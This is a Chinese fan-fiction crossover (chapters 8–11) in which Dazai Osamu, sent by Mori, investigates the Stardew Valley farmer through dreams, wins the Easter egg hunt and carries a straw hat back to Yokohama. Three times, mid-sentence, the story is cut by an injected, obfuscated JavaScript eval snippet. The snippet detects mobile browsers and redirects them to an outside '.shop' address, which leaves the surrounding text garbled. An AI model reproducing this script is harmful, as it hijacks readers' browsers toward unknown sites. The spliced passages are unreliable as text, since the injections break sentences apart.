“太宰君是刚来鹈鹕镇,正好可以赶上一年的所有节日呢,非常幸运哦。” “哇。” 太宰治干巴巴地应了一声,发出了很不走心的欢呼, “那这个复活节具体要做什么呢?” 总算逃过了尴尬的原因问题。 农场主长舒了口气: “基本就是吃吃喝喝,还有一些节日限定的装饰品售卖,不过最主要的活动就是找彩蛋了。到时候大家会把彩蛋藏在小镇各个地方,在限定时间内找到最多的人获胜。” 她顿了顿, “太宰君没有兴趣吗?” 躺在病床上的少年眨了眨眼,慢吞吞地回答: “不,届时请务必让我参加。” 8. 农场主的名字 彩蛋的话题没能持续太久,因为哈维反应过来,农场主在转移话题,而他对农场主和阿比盖尔的事比对复活节这种完全拿不到优胜的事上心多了。 农场主不得不借着送“刚刚落水身心受到了巨大伤害”的柔弱小白花太宰治回家的名义,总算勉强从诊所脱身。 她抬头看了看天色。太阳已经偏西了,这个点,她本应该在地下矿洞里挥舞镐头,而不是坐在诊所里听医生对一个“主动跳进湖里的人”进行健康宣教,农场主直接痛失半天下矿的时间。 实际上今天遭受精神和物质伤害的应该是她才对,太宰治应该为此支付她遭受损失的费用。 她一边怨念地想着,一边不忘隔几分钟回头看一眼身后晃晃悠悠的少年。 太宰治的衣服在之前全湿透了,现在换的是一套从诊所的柜子里好不容易找出的病号服,还比他本人的实际尺寸大了不止一号,以至于走路的时候两只袖子一前一后晃晃荡荡的。 大概是她的目光出现的太频繁了,太宰治举起手,长长的袖子耷拉下来: “我今天不会再跳了。” “我没说你还会跳。” 农场主回答,但她回头的频率并没有降低,显然是没有信。 看她异常纠结的样子,太宰治不由又补充了一句: “如果有什么想问的——” 农场主正想着其他事。 事实上,她之前好像没在n网的mod界面看到太宰治的个人简介,新角色虽然是自己主动点了下载,但除了名字外关于他的信息都是空白。 “太宰治”是谁?从哪里来?为什么会出现在鹈鹕镇?有什么喜好?有什么讨厌的东西?生日是哪一天?喜欢什么样的礼物? 全是一片空白。 像他最开始那间空荡荡的小屋一样。 如果从本人嘴里套出他的过往故事,在生日当天送上星之果茶和他喜欢的东西——那岂不是三倍收益? 农场主正沉浸在这个美好的设想中,听太宰治这么一说,不由大喜过望: “真的吗?!那你今天为什么要跳水啊?” 好直接。 但太宰治也猜到她会问这个了,对方的想法对他来说几乎等同于直接写在脸上,因此少年只是随口回答: “因为很无聊啊。” “无聊?” 农场主歪了歪头,恍然大悟地自顾自为他想好了原因, “啊,太宰君是大城市回来的吧?那觉得乡下有点无聊也正常。” 她顿了顿,又补了一句: “但这种排解无聊的方式还真……特别啊。” 她的措辞经过了明显的卡顿,原本大概是想说“奇葩”或者“离谱”,在舌尖上转了一圈,换成了“特别”。太宰治听出了那个替换,嘴角弯了一下,没有拆穿。 “农场主小姐不也是从大城市回来的吗?” 太宰治随意地开口,有意无意地套着她的话, “你不会觉得鹈鹕镇很无聊吗?” “不,完全不会。我超爱这里的!” 少女脸上露出的是再纯粹不过的,谈论到自己心爱之物的开心, “我和你讲,种地可有意思啦!” “真的吗?” 太宰治带着恰到好处的怀疑语气发问。 农场主果然上了钩: “真的!你种过田吗!” “……这倒是没有。” “所以你根本不知道种地有多有意思!你知道吗,要从每个季节的第一天开始就做好规划,每个作物要多久收获,哪个的经济价值最高,哪个又能有更好的加工价值,还要记得满足镇上大家奇奇怪怪的需求……” 农场主谈到自己感兴趣又擅长的话题,一说就发狠了忘情了,什么精神损伤也都抛到脑后了,从作物和化肥谈到鱼塘和养猪,从养猪谈到鸡舍和蛋黄酱机,从蛋黄酱谈到矿洞里的史莱姆和蝙蝠,还不忘美化自己下矿时的英武身姿, “你知道史莱姆吗?偶尔法师想要五彩胶冻,但五彩的史莱姆真的很难找,我每次接他的委托后都要规划好久,反复在某些层里来回折腾……” 她就这样谈天说地,将自己的经历吹得天上有地上无,又是在岩浆旁钓鱼又是和怪物搏斗的,最后说的口干舌燥才肯歇息,眼睛亮晶晶地盯着他, “所以太宰君既然觉得无聊的话——你要来和我一起种地吗?” 太宰治的脑海里立刻浮现出相关的画面。 自己穿着那件森鸥外送给他的黑色风衣,站在齐膝深的泥地里,手里拿着一株水稻苗,开始在泥地里插秧,衣服和鞋都进了泥,绷带也黏糊糊地贴在手臂上。 然后农场主会在旁边喊: “太宰君!那个坑挖得太深了!苗会闷死的!” 他幻想了一下那种局面,不由打了个冷颤,委婉但坚决地拒绝了这个邀请。 “那太宰君为什么要来鹈鹕镇?” 农场主倒也没有因为他的拒绝而不高兴,她的情绪切换速度快得惊人, “大城市不好吗?” 太宰治想了想自己白天的工作。 “没什么不好的,” 他评价道, “也没什么好的。” “那你原来的工作是做什么的?” “打杂的。” 太宰治说这话的时候面不改色, “帮人跑腿、处理一些麻烦事、和同事吵架、被上司压榨——和大多数人没什么区别。” 他说的有哪里不对吗? 调查星露谷的传言就是在跑腿,自己的工作就是各种麻烦事的叠加,和中原中也日常吵架,偶尔还要接受物理痛击,至于压榨…… 他现在就是处于被森鸥外压榨的工作之中。 “……啊,” 农场主张着口,想了想,最后总结道, “那你还挺不容易的。” 太宰治很快就接受了自己的新设定,他甚至觉得自己确实挺不容易的,毕竟白天晚上都在干活,还得维持不同的人设,这样两头跑迟早精分: “农场主小姐没有想过离开这里吗?” “为什么要这么想?” 农场主的回答快得像这个问题从来没有进入过她的考虑范围, “完全没有哦。” 她一边说一边从路边随手叼起一根狗尾巴草,那根草在她嘴里上下晃动着,她的脚步也慢了下来, “自从继承 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471710|201516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了这片农场之后我就知道了一件事——” 她把话音拉得长长的,卖关子一般,狗尾巴草在她唇边晃了晃,上面的绒毛被风吹得微微颤动。 “我爱种田,我要在鹈鹕镇当一辈子的农民!” 农场主转过头来看太宰治,脸上带着一个“怎么样,没想到吧”的得意笑容。 农场主就这样在他身边赤诚且毫无保留地说着自己的目标和愿景。 她清晰地知道自己想要什么,要走什么样的道路。 这是太宰治,甚至是很多人一辈子都不知道的。 太宰治看着她,忽然想起一件事。 他还不知道她的名字。 “农场主”并不是名字,即使这里的人这么认为,但它本身并不是个名字。 “农场主”是一个身份,一个称呼,一个在鹈鹕镇通用的,所有人都接受的标签。 但这不是她原本的名字。 他想知道这个名字。想知道名字背后的人究竟是什么样的,才能心无旁骛,如此地热爱某件事,一点后路都不给自己留。 ——和他见到的绝大多数人都不一样。 “农场主小姐,” 他这么想,也就这么问出来了, “我一直有一个疑问。” “什么?” “你的名字。你真正的名字。在继承农场,来到鹈鹕镇之前,你的名字是什么?” 如果农场主同为这个世界的“玩家”,那他想要调查那个名字后的人。 “啊,” 农场主愣了一下, “那个啊……” 少女垂头思考了很久,久到太宰治以为她立刻就要拒绝了,但农场主只是扬起一个笑容, “是我的满心好感度剧情才能解锁的!太宰君想知道的话,还请努力提高我的好感度吧!” 太宰治看着她。 她说“好感度”的时候语气像是在开玩笑,但眼睛最深处却带着自己都不曾意识到的认真。 像是在说: 你真的想知道吗?那你要走近一点,再近一点——这才公平。 太阳已经完全落下去了,镇上的路灯一盏一盏亮起来。每一盏都只能照亮脚下的一小片地面,其余的部分悉数归于黑暗。农场主就站在那没有被照亮的部分,偏头看了一眼天色。 她脸上的表情瞬间从“追忆”变成了“糟糕”。 “啊!这个点了!我得回去做蛋黄酱和奶酪了!” 农场主转过身,朝太宰治挥了挥手,做出了跑步的姿态, “其他事下次再说!太宰君早点休息,别再跳水了!” 她很快就跑远了,脚步声踏在石板路上,越来越远,最后和夜色融在一起,直到分不清是脚步声还是风吹过树叶的沙沙声。 太宰治站在原地,看着她的背影消失在道路的尽头。 好像三次里有两次她都急急忙忙的,明明是在这样一个悠闲的小镇里,农场主却一直在急着干农活——农场对她的吸引力有这么大吗? 他推开自己小屋的门,走了进去,在躺在床上,盯着那片木质天花板失去意识的前一秒,少年想, ……糟糕,他现在开始对那个农场感兴趣了。 9. 复活节和彩蛋 复活节很快就临近了。 那位镇长刘易斯还特意写了一封信,提醒他记得参加复活节。地点是小镇广场,时间从早上九点开始,持续全天。 太宰治嘴上不说,实则在收到信后的当天就把小镇中心区域侦查了一遍。当中原中也某天不经意间从太宰治身后走过,发现对方正在翻阅西方节日的来源传说一类,看的还是复活节各式各样的彩蛋,顿时觉得不是这个世界癫了,就是太宰本人精神状态不正常了。 太宰治对此只是露出了不屑的表情。 复活节当天。 据说在活动开始前,任何人都可以在小镇上随意逛。 太宰治早早就起了床,他本来对优胜没什么兴趣的,找彩蛋这种事,听起来像是给小孩子准备的娱乐项目。他一个港口mafia的干部,难道要弯着腰在草丛里翻来翻去,就为了找几个涂了颜色的鸡蛋? 但不管是农场主还是其他人,都神神秘秘地说“大奖非常难得”,以至于他对那个不知名的奖品也有了好奇。 他提前踩了三次点,在内心规划好了路线。三三两两的镇民逐渐聚集在广场上,时间越发接近开场。 然后他看到了农场主。 她正和艾利欧特一同姗姗来迟。 太宰治的目光在那位青年身上停了一瞬。 ……差点忘了这位新婚丈夫的存在。 毕竟在农场主和他的聊天中,如果不是他主动提起,对话里根本不会出现这个男人的身影。 太宰治瞥了一眼两人的方向,农场主若有所觉,在人群中准确地捕捉到了他的视线,抬起胳膊朝他用力挥了挥。她和旁边的男人说了两句什么就要走过来,结果刚走到半路,一个紫色头发的女孩拦住了她。 太宰治远远看着,认出对方就是当时在婚礼上用不快的眼神盯着新郎的女生,阿比盖尔——名字他是从镇民的闲聊中听到的。 她拉着农场主的袖子,嘴巴一张一合,说了一大串话。农场主听着,时不时点点头,露出一个安抚笑容。 至于阿比盖尔和农场主之间的八卦,太宰治这几天听的更多了。什么“阿比盖尔曾经收到过农场主送的花”,什么“阿比盖尔和农场主经常一起打游戏到深夜”。 但说实话,农场主看起来不像是能做到脚踏两只船的类型…… 太宰治正思索着,就见农场主似乎已经安抚完了两个人,然后朝他这边走过来。 “要喝咖啡吗?” 她走到他面前,不知道从哪里变魔术一般取出了一个杯子。白色的陶瓷杯身,上面印着一只卡通奶牛——和之前那个紫色茶杯一模一样,只是里面的液体从紫色变成了深褐色,冒着热气,散发着一股浓郁的、带着焦糖甜味的香气, “艾利欧特每天早上都会准备咖啡,我这里现在有很多呢。” “拒绝。” 太宰治把双手放在胸前,重重地比了个叉。 农场主从善如流,立刻把咖啡放在一边,紧接着,她又不知道从哪个角落里掏出了一个小本子开始刷刷刷地狂写。 太宰治感到异常微妙。 从他这个角度,其实可以勉强看到上面的字。上面密密麻麻写着他的每日日程以及喜好。当着当事人的面写着当事人的每日活动,如果不是态度如此认真,并且如此光明正大的话,这种行为几乎可以等同于跟踪狂了。 但农场主做这件事做的异常顺手,仿佛那不是什么需要避讳的事。 “你也这么记录其他人吗?” 他微妙地问道。 “当然了,不然的话经常会碰到想要交委托,却在最后一天找不到对方的情况,” 农场主怕他不信,还特意向他展示了本子前面的几页。太宰治低头看去——密密麻麻的笔记,每一个镇民都有自己的一页。名字写在最上面,下面是用不同颜色的笔标注的喜好、生日、晴雨天日常活动路线以及常出没的时间和地点。 太宰治沉默了片刻。 “你把这个本子随身携带?” “当然。这是我的决胜法宝。” 农场主把小本子小心翼翼地合上,塞回口袋里,拍了拍,才想起送礼的事: “那你要吃樱桃吗?我从温室里特意摘的。” 太宰治在她期待的视线中接了过去。 农场主就这么心满意足地看着他,盯了半响之后,那期待的目光又逐渐暗淡了。 “不是没有人讨厌水果的吗……” 她嘀咕着。 太宰治听到了,但没有接话。他拿起樱桃慢慢地咬了一口,目光越过农场主的肩膀,看向广场上越来越多的人群。 今日份对太宰治的社交任务好像已经完成了——农场主的脸上露出了这样的表情。她收回手,和他告别,然后开始移动。 太宰治站在原地看着农场主和每一个前来参加活动的镇民都交谈了几句,交谈后就从口袋里掏出樱桃,一个一个地送出去。 非常认真,不带任何敷衍。 太宰治对她这种拼搏精神简直叹为观止,甚至有那么一瞬,脑子里冒出“农场主其实是在刷所有人的好感度,只是单纯因为他是新来的,所以多刷了他几次”这样的念头。 他随即在心里把它按了下去。 怀疑自己的眼力这种事偶尔可以动摇,但绝不能真的信了。他知道如何分辨真正的特别和表面的热情。 农场主对他是特别的吗?还是只是“对谁都特别”中的一份? 他觉得是第一个。 但也说不准,因为她对艾利欧特好像也没那么特别。 农场主送完礼物,就又开始在路边的小摊上流连忘返。 一般路过太宰治看了一眼她花了两千金币买到的毛绒兔子,又看了一眼她正纠结要不要买的那只粉色火烈鸟: “这原来也在你的审美范畴之内啊。” “不,可它是限定。去年没有钱买,但我今年有钱了,” 农场主的语气里带着一种悲壮, “一年一度的节日限定,你知道这个含金量吗?” “……这合理吗?” “合理的,合理的。限定是这样的,复活节的奖品更是一年一度冠军限定,你想想那个稀有性。” 农场主抱着那只火烈鸟和毛绒兔子,颇为心痛地掏出了自己口袋里的金币,还不忘拉其他人下水陪她一起变成冤大头: “太宰君,这可是限定啊!你不打算来一个吗?装点屋子也很不错。” “很遗憾我没有这么多钱。” 少年朝她展示空空如也的衣兜,那两只衣兜翻了出来,里面什么都没有,像两只白旗, “前两天去买joda可乐的时候基本花光了。” 他还想尝试一下两个世界的可乐味道有什么区别呢,但事实上——毫无区别。 这人真的很坦然的说出了自己目前处于穷困潦倒的状态啊。 农场主目瞪口呆。 她想了想,又想了想,她在脑子里翻遍了所有能快速赚钱的方法,排除了那些太危险的、太耗费时间的、需要前期投入的,最后终于想出了一个不会伤害他自尊心、还能很快获得金币的事件,问他: “你要不要和我一起去寻宝啊?” 太宰治的眼睛微微亮了一下: “寻宝?可以啊。” “那过几天……” 农场主掰着手指头算了算, “好像还有三四天的样子。等到时候我喊你。” 甚至还有时间限定? 太宰治的好奇心被勾起来了。寻宝这种事,在这个世界里会是什么形式?是像童话故事里那样,拿着一张藏宝图,最后在一个画着叉的地方挖出一个宝箱?还是像矿洞里那样,披荆斩棘打败各种怪物获得奖励? 他非常爽快地点了点头,还没来得及再问些什么,就听到了刘易斯宣布比赛要开始的通知声。 “各位——参赛者们——请到广场中央集合——” 镇长的声音通过那个老旧的扩音器传出来,洪亮且中气十足。人群开始向广场中央聚拢,孩子们兴奋地跳来跳去,大人们笑着聊天,整个广场变成了一锅沸腾的粥。 种子选手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471711|201516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是大家都看好的阿比盖尔和农场主。阿比盖尔站在人群的前排,紫色的长发在风中飘动,眼神锐利。农场主站在她旁边偏头,太宰治看到农场主的嘴唇动了动,随后阿比盖尔就笑了起来。 而太宰治作为新人也备受瞩目。几个镇民朝他投来了好奇的,带着善意的目光,还有人朝他喊“加油啊新来的”。 刘易斯站在广场中央,手里举着一个老旧的发令枪,枪口指向天空。 倒计时开始了。 “三——” 太宰治的身体微微前倾,他的目光扫过他提前规划好的路线,那些看起来就很适合藏彩蛋的角落。 “二——” 农场主把衣服的下摆揪起来,做了一个临时的兜,T恤被她揪得皱巴巴的,露出了一小截晒成小麦色的腰。阿比盖尔蹲下身,做了一个起跑的姿势。 “一——” “砰!” 枪响了。 所有参赛者都冲了出去。 太宰治告诫自己:他不是沉浸在活动的氛围中,他只是在进行调研。这和“觉得好玩”是两回事。 虽然他还是第一次和这么多人玩这种游戏。 他最终凭借着自己踩过点的优势,在时间结束前找到了十一个彩蛋,口袋都放满了,把那身平常显得格外威严的黑色大衣衬得鼓鼓囊囊。 刘易斯一个一个地数过去。 “阿比盖尔,八个。农场主,七个。太宰——” 他数了数太宰治兜里的彩蛋,眼睛瞪大了。 “十一个!!” 人群发出了一阵惊叹声。几个孩子跑过来,踮着脚尖看太宰治怀里的那些彩蛋,眼睛里全是崇拜。玛尼首先在人群里鼓掌,接着是农场主,带的其他人也纷纷鼓起掌来。 “今年的优胜者,是我们的新人,太宰治——!” 刘易斯的声音通过扩音器传出来,在广场上空回荡。 太宰治风衣下摆兜着十一个彩蛋,就以这样奇怪的姿态站在那里,他的头发被风吹得有点乱,脸颊还因为刚刚的运动微微泛红。 可他的眼睛难得亮着。 刘易斯从身后拿出一个包装精美的盒子,红色的丝带,金色的包装纸,在阳光下闪闪发光。他把盒子递给太宰治,做足了神秘感: “恭喜你,拿到了复活节的神秘大奖!” 太宰治接过盒子,拆开。 他对着那份大奖沉默了片刻。 那是一顶草帽。 “但是是限定款哦!” 农场主看他神情不明显地低落下去,急忙为草帽挽尊。 那也改不了它本来就是一顶草帽的事实。 “那也只是一顶草帽。” “它蕴含的价值是无价的!” “那它值多少钱?” “……都说了它是无价的。” 农场主的声音弱了下去。 “这可是限定的,你不懂。” 她又说了一遍。 太宰治把草帽举到眼前,看了看,又放下来,看了看农场主: “好吧,限定的草帽,我就收下了。” 不知为什么,这天的时间过得特别快,活动结束,领取了奖品回到家就已经是深夜十点了。 回到自己小屋的太宰治坐在床边,盯着带回来的那顶草帽看了很久,还是叹了口气,把它轻轻放在了自己的枕头边上,摆的端端正正。 然后他躺下来,闭上眼睛。 再次睁开眼时,天花板早已变成了干部宿舍的白色。 一切如常。 太宰治正打算起床。 然后他愣住了。 枕边依旧是那顶草帽。 太宰治伸出手,用指尖碰了碰帽檐。草编的纹理粗糙而真实,和他在鹈鹕镇摸到的一模一样。 也和他摆放的方式一模一样。 少年走到窗边,大力拉开窗帘。外面的阳光洒进房间,显露出平时横滨的模样,但他的神情却愈发沉寂。 从梦中的鹈鹕镇,带到了现实内的横滨的草帽。 这不是梦。 10. 农场和农场主 港口mafia五座大楼。 守卫在看到来人的时候先是一惊,然后他条件反射地低下头,目光死死盯着自己的鞋尖,装作什么都没有看到。 这是一则存在于港口mafia底层员工的规则怪谈: 不要和太宰治对视,不要进入他的视线范围,不要给他任何理由注意到你。如果他注意到你了,不要给他任何理由记住你。如果他不小心记住你了——那你就祈祷吧。 守卫的眼角余光捕捉到那件黑色大衣的一角从视野中掠过,直到完全消失,他才敢抬起头,看了一眼天色。 这个时间点还没到标准上班时间,这位一向神龙见首不见尾的太宰干部怎么会怎么早到本部,难道是又出了什么大事吗? 见到那张脸的第一瞬间就低下头的他,也就完全没看到干部手里拿着的那顶亮色的帽子。 太宰治没有去自己的办公室, 他径直来到了最上层,目不斜视地经过两边荷枪实弹的守卫,走到首领办公室门口,随后被拦下: “我有事要向首领汇报。” 拦下他的守卫为难地看向他的身侧: “太宰大人,您的随身物品还要再检查一次。” 少年这才恍若所觉,顺着对方的视线看向自己手中紧紧抓着的那顶草帽,然后把它递给了门口的守卫。 在这一动作后,像是从什么中突然回过神一样,他紧绷的神情也放松了少许。 守卫接过帽子,翻来覆去地看了看,确认里面没有藏任何不该藏的东西,然后双手递还给他。 “可以了,太宰大人。” 太宰治接过帽子,守卫替他推开了门。 首领室的门在他身后关上,隔绝了走廊里所有的声音。 “能在这个时间见到你,还真少见啊,太宰君。” 森鸥外面前摆着两杯刚倒好的红茶,爱丽丝朝他做了个鬼脸,端着其中一杯坐在了茶几边的地毯上。 “爱丽丝,小心烫——有什么紧急的事吗?” 他视线落在了少年手中那顶黄色的草帽上。 “很……田园风的审美。” 太宰治面无表情地举起那个不止是和他的装扮,还和港口mafia的气氛格格不入的帽子: “这就是我今日要汇报的内容——这是从那个梦里拿出来的东西。” 中年人眯起了眼睛。 太宰治毫无波动地开始汇报最近的调查结果,包括后山的神社,鹈鹕镇食物的误会传言,以及这顶帽子。 森鸥外端起茶杯,抿了一口。 红茶逐渐凉了,他端着杯子,目光落在杯中的液体上,像是在看什么很远很远的东西。 “太宰君。” 直到少年那边不再传来声音,他才放下茶杯,杯子底和桌面接触,发出一声清脆的“咔”, “那个世界——你觉得它是什么?” 太宰治回答的也很快: “我不知道。但至少,它不是一个虚假的想象。” 森鸥外轻轻点了点头: “是啊,我们之前认为它不存在于现实,是因为它只能在梦中出现,但现在不同了——根据你的描述,这顶帽子和你在那里获得的一模一样,” 爱丽丝跑到太宰治身边,将帽子从少年手中抽出,好奇地翻来覆去打量着,在这一过程中,在场两个人都没有阻拦, “看上去只是顶普通的乡下草帽。” 她轻快地评价道。 森鸥外接过了她的话: “但太宰君,你知道这意味着什么吗?” “最开始只是顶帽子,接下来会是什么,你说的矿产,还是那其中的怪物?再接着,会不会就是武器,甚至是……人呢?” 太宰治没有开口,森鸥外也不介意,继续说道, “就我所知,这件事的相关消息并没有封锁,盯上那间神社和那背后的梦境的,也不止港口mafia一个势力。” 太宰治的眼皮跳了一下,语气依旧懒洋洋的: “所以呢?” “所以——太宰君,你的调查要加快了,港口mafia之前也派出过其他人尝试调查那间神社,但你是唯一一个能亲身进入梦境的人,我不希望这份优势被其他组织超越。” 森鸥外的十指交叉,手肘抵在桌面上, “不过我想你心里应该也对该去哪里寻找问题的答案有了想法。” 那位农场主,整座鹈鹕镇内除了他以外唯一的一位外来者。 即使她不是谜团本身,也一定是目前最接近谜团的人。 “去接近她,调查她,弄清楚她的身份、她的目的、她和那个世界的关系。” 森鸥外的语气柔和,带着循循善诱,却不容拒绝, “她既然对你表现出兴趣,那你的任务会轻松很多。这是首领的命令。” 太宰治沉默了片刻: “森先生,你有没有觉得,你最近越来越像一个拉皮条的了?” 森鸥外的笑容终于出现了一道裂缝。 “……太宰君,你的发言很危险。” “我只是在陈述事实。” “你不是在陈述事实,你是在转移话题。算了,下周我希望能在我的桌面上看到新的报告。” 森鸥外结束了这个话题, “帽子留在这里,我会交给相关人员进行进一步检测,说不定也能有所发现。” “是,是,我知道了。” 太宰治转身就要走。 “太宰君。” 森鸥外看着他的背影,沉默了一秒,然后说了一句让太宰治没想到的话, “……注意安全。” 少年脚步停了片刻,没有回应,拉开门,走了出去。 他久违地入了次水。 这段时间作息过于健康,白天和晚上的任务叠加在一起,加上在鹈鹕镇里,入水除了账单以外收获不到任何东西,太宰治几乎要将这件有益于身心的活动忘在脑后了。 好在今日份的压榨让他回想起来了。 于是才刚将草帽送到实验室的森鸥外又收到了他不省心的弟子被打捞上来的消息。 他开始反省自己是不是给太宰治布置的任务太多了。 两秒钟后,他吩咐部下看好太宰治,不要让对方逃班。 夜晚的Lupin。 今天少见的,三个常客都聚集于此。 被押着干了一天工作,接下来的晚上还要进一步调查的太宰治颓废地趴在吧台上,就连三花在他面前不远处他都没有平时想伸手去尝试抓住的欲望。 织田作之助缺失的这几天并不清楚友人的近况,今天才听说了太宰治最近在调查那个被统称为“星露谷”的梦中世界的事。 “之前确实也有听到过他们闲谈的时候说起神社和做梦的事,据说是个能变得轻松的梦,没想到有这么严重。” 织田转头看向少年,语气平淡, “那个世界是什么样的?” 太宰治没有立刻回答。 他的目光落在面前那杯酒上,看着那块正在融化的冰球逐渐出现裂痕,最后说: “很普通。” “普通?” “嗯。只是一个普通的小镇。” “这样啊。” 织田作之助点了点头,端起酒杯又喝了一口, “看来是个不错的地方。” “嗯?” 其余两人都因为这个结论看了过来。 织田作之助眨了眨眼,认真回答: “太宰看上去比前段时间我见到他时的状态好多了,所以我想,应该是个不错的地方。” 太宰治愣住了。 “织田作先生还是和平时一样啊,” 坂口安吾无奈地按住了头,手指在太阳穴上揉了揉, “这可不是那么简单的问题,但我也没想到会发展到这个地步——不过太宰君的气色确实比之前好了很多,可能是规律作息的好处吧。” 太宰治没有回应,听着他们一言一语地闲聊,看了看时间后,将那杯完全没动的威士忌向吧台里推了推: “我要回去了。” “去做梦吗?” “是去调查。” 他跳下椅子,朝楼梯走去, “明天见。” “明天见。” 织田作之助和坂口安吾同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471712|201516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时说道。 坂口安吾端起酒杯,喝了一口,看着太宰治消失的方向,沉默了片刻: “织田作先生,你觉得那样的世界……真的存在吗?” 织田作之助想了想: “太宰是这么说的,应该没错吧。” 坂口安吾叹了口气,把杯子里的啤酒一饮而尽: “唉,我也要回去加班了……烦心事真多。” 梦的另一边。 鹈鹕镇的早晨,湖面上的薄雾正在慢慢散去。阳光落在湖面上,碎成了一片一片的金色。 太宰治推开自己那间木屋的门,注视着眼前的一切,随后迈开脚步,向从未踏足的小径前行。 他还记得,每次农场主来找他都是顺着这条路来的,她自己本人也说过“从玛尼房屋旁的小路过去,就能看到她的农场了”。 去调查……先从农场主的农场开始吧。 从灌木丛中的小路穿过,眼前豁然开朗。 一片巨大的,几乎等同于小镇核心区域大小的农场在他面前展开。 排列整齐的农田错落排列,里面密密麻麻种满了农作物;颜色不一的小屋和鱼塘就在左手边一览无余;面前不远处的畜棚的门敞开着,里面传来牛羊的叫声,还有只兔子从他面前蹿了过去,消失在牧草中。 看起来花了很大的心思。 太宰治思考着,毫无防备地向前走着。 然后他听到了声音。 是一种沉重的、有节奏的、像是有什么巨大的东西在快速移动的声音。 他转过头,然后表情瞬间变得一片空白。 一头巨大的粉色猪正朝他冲过来。 他站在原地一动不动,那庞大的身影向这边冲刺,逐渐将少年全部笼罩在它的阴影下。 被拱倒的少年坐在原地沉默了片刻,还没有站起来,就看到另一只相似的巨大生物也甩着短粗的尾巴,朝他冲了过来。 …… 农场主压根没有听到这边的动静,或许说听到了也没在意。她的农场太大了,她现在刚好在相反的对角线开始一天的劳作。 鸡舍里的鸡鸭兔子和恐龙已经醒了,正满院子乱窜。田里的作物在晨风中轻轻摇摆,高高的木架上挂着新鲜出炉的草莓。 扎起头发的农场主正蹲在地里收获防风草,一边收一边种新的。她的工装外套上沾着泥巴,额头上有一层薄薄的汗,嘴里哼着一首不知道什么名字的歌。 农场主不知道复活节的奖品草帽被人当做重要证物调查,也不知道鹈鹕镇已经被列入重点观察对象,更不知道为什么最近n网多了很多没头没尾没有介绍还没有美化的人物mod。 农场主只是在兢兢业业勤勤恳恳认认真真地种地,养猪,喂鸡,养鱼。 顺手捡了个幸运兔脚装在口袋里。 阳光落在她的马尾辫上,农场主抬起头,看了看天空,自言自语: “今天也是好天气,幸运~” 然后她低下头,继续翻土。 太宰治艰难地躲避了第三只试图拱出松露的猪,一瘸一拐地从她的视线尽头露了面。 农场主听到声音抬起头,“哇”了一声,心想这新鲜的兔脚真能带来幸运啊,她挥挥手: “我在这边,太宰君——来找我是有什么事吗?” “你之前说过,如果有兴趣的话,可以来你这里参观农场,” 太宰治决心把刚刚的黑历史忘的一干二净,反正目击者应该只有他一个, “我来参观了。” 农场主擦了擦头上的汗,依旧是那副毫无阴霾的笑容: “好啊,欢迎——!你想从哪里开始?” 太宰治被那笑容感染着,神色柔软了一点。微风在他们之间缓缓拂过,带来泥土和作物的清香。 风和日丽,一切都显得如此平和。 然后—— 农场主房屋的门被从里面推开。 木门发出“吱呀”一声轻响,缺少润滑的门轴声在清晨的寂静中格外清晰。 一个温和的青年声音从门口传来: “我刚刚做了咖啡,听到外面有些不同以往的声音……是有客人来了吗,农场主?” 11. 农场主和种植 艾利欧特从屋里走出来。 他穿着一件浅色的亚麻衬衫,袖子挽到手肘,头发披在肩上,有些乱,像是刚从床上起来还没来得及梳理。 青年的手里还端着两杯咖啡。 和先前那些送给太宰治的果茶与咖啡的杯子一模一样。 艾利欧特看到了太宰治,温和地朝他打了个招呼: “太宰先生,没想到这么早能在农场内见到您。” 类似的措辞,他是不是才在白天听过? 太宰治在内心吐槽。 艾利欧特走到农场主身边,把其中一杯咖啡递给她。农场主接过去,道了声谢。但青年端着的另一杯咖啡却没有递给太宰治。 “抱歉,我和农场主早饭没有吃其他食物的习惯,目前只有咖啡,你大概喝不惯吧?” 太宰治想起了昨天在复活节广场上,自己比的那个大大的“叉”。 艾利欧特大概是听农场主说了。 青年的目光在太宰治和农场主之间来回移了一下,然后笑了笑,端着那杯咖啡自己喝了一口。 农场主的视线从他们两人中扫过,总觉得似乎失去了什么剧本,她脸上闪过一丝困惑: “你们是不是彼此认识……” “之前在婚礼上聊过两句。” 艾利欧特解释道, “很荣幸刚好让新来的太宰先生见证了我们的幸福。” “我也对当时艾利欧特先生的表现记忆尤深。” 少年勾起唇角,意有所指, “那天能顺利真的太好了呢。” “我也很庆幸一切顺利,农场主对大家都一视同仁的友善,但对我来说,她是最特别的人,” 艾利欧特语气平和,带着自然而然的亲密, “你们聊,我去喂猫。另外,农场主——” 少女歪头看了过去。 